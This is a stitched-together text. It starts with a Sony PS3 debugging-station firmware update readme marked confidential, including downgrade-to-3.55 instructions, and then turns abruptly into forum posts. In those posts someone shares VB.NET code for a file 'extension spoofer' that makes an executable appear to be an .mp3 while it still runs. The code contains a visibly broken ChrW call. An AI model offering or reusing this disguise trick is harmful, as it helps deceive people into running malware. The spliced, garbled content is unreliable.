[SCE CONFIDENTIAL DOCUMENT]
PlayStation(R)3 System Software Update 355.001
Copyright (C) 2011 Sony Computer Entertainment Inc.
All Rights Reserved.
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This package includes the system software update data for
PlayStation(R)3 debugging station.

WARNING:
Do *NOT* update from versions below 0.96 directly to this
flash. Instead, update from earlier versions to version 0.96, then
update to this version. Failure to update to 0.96 prior to applying
this flash may render your hardware inoperable. Such hardware must
be returned to SCE for repair.

Please update the flash memory with a file included in
this package. Instructions for the update is the same
as an update for a reference tool.

The following storage media can be used.
- A Memory Stick PRO(TM) or a Memory Stick PRO Duo(TM), with a
capacity of at least 256 MB
- A USB mass-storage device with a capacity of at least
256 MB, which can be connected to any of the USB connectors
on the debugging station
- A CompactFlash(R), with a capacity of at least 256 MB
- A SD memory card or miniSD memory card, with a capacity
of at least 256 MB

Perform the following steps on the host computer:
- Make a directory named PS3 in the root directory of the
storage medium, and then make a sub-directory UPDATE in it.
- Copy the update data to the created \PS3\UPDATE\ directory
in the medium.
- Remove the ".NNN.0xx" portion from the file name (to
rename it to PS3UPDAT.PUP).

Insert the storage medium that contains the update data,
and then select and launch the "System Update" in the GUI
menu. Select "Update via Storage Media" for "Select an
update method". Follow the instructions shown on the screen
from then on.

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Contents of This Package
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cell\
+---target
+---updater
+---debugging_station
+---PS3UPDAT.PUP.355.001.forDEX.release.20101126d
:Update Data

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Change in Release 355.001(Updated on 2011/01/27)
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<System Software (GUI)>
- An update data allowing system software 3.56 or later to be downgraded
to 3.55 has been newly released.

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Changes in Release 355.001
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[Bugfix]
<libcamera>
- (B#91443)
When an application was ended with the red LED indicator of
PlayStation(R)Eye on, although it went back to the system software,
the red LED indicator was still on. This problem has been fixed.

[Known Issues/Restrictions]
<Check menu in the Game column>
- Validation of a media or the file system itself cannot be performed
from the Check menu in the Game column.

When submitting a master disc, make sure to verify the disc that no error
is present using the Disc Image Generator for PlayStation(R)3 or
the Disc Image Checker for PlayStation(R)3.

- When performing the check from the Check menu in the Game column,
if the number of result files exceeds approximately 80 to 100 depending
on each check item, the file entries of the root directory in the USB
mass storage run out and the subsequent check result files may no
longer be stored.
In such case, move the check result files to another directory.

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Notes
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- The system software of the debugging station can be now downgraded
to 3.55.
Using this update data, you can also downgrade the system software
version 3.X0 or later to 3.55.

Note:
Please refer to "5 Updating Flash Memory -> Downgrading the Flash Memory"
of the "Reference Tool Software Setup Guide" document for more details
on downgrading the Flash memory.

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Permission and Restrictions on Use
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The permission and restrictions on using this package conform to
the contract concluded between your company and our company (Sony
Computer Entertainment Inc).

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Note on Trademarks
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"PlayStation","PLAYSTATION","PS3" and "PSP" are either registered trademarks
or trademarks of Sony Computer Entertainment Inc.
"XMB" is a trademark of Sony Corporation and Sony Computer Entertainment Inc.

"Memory Stick" is a trademark of Sony Corporation.

Facebook(R) is a trademark of Facebook, Inc.

All other product and company names mentioned herein, with or without
the registered trademark symbol (R) , trademark symbol (TM)
or service mark symbol (SM) , are generally trademarks and/or registered
trademarks of their respective owners.

...Virus scan? its a ****ing PUP!

special downgrade .pup for dech from sdk 3.60

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NOOB

A virus can be binded to any sorta file

you can change file names of virusses. [/I][/B]

[align=center]There's an extension spoofer in the Hacking Tools section right now. I thought I would show you guys how it can be made.

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     Public Sub Spoof(ByVal file As String, ByVal extension As String)

  Dim b As Byte()

  b = IO.File.ReadAllBytes(file)

  Dim newPath As String



  newPath = Application.StartupPath & ChrW(823 & StrReverse(extension) & ".exe"



  IO.File.WriteAllBytes(newPath, b)



    End Sub

Usage:

    Spoof(myfile, myextension)

For example:

    Spoof("C:\hello.exe", "mp3")

Also, to clear it up for you retards, YES, this does still execute your EXE even if it says ".mp3" or anything else at the end.

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